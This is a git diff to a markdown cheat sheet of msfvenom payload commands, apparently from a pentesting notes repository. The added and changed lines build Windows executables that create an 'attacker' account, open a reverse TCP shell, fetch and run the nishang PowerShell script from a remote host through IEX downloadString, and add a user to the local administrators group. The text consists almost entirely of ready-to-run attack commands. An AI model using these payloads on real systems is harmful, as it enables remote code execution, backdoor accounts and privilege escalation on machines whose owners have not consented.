diff --git a/shells/shells/untitled.md b/shells/shells/untitled.md index 9504656a9..dfb4a44a7 100644 --- a/shells/shells/untitled.md +++ b/shells/shells/untitled.md @@ -47,10 +47,11 @@ msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe ``` -### **Execute Command \(powershell nishang\)** +### **Execute Command** ```bash -msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f python +msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe +msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe ``` ### Encoder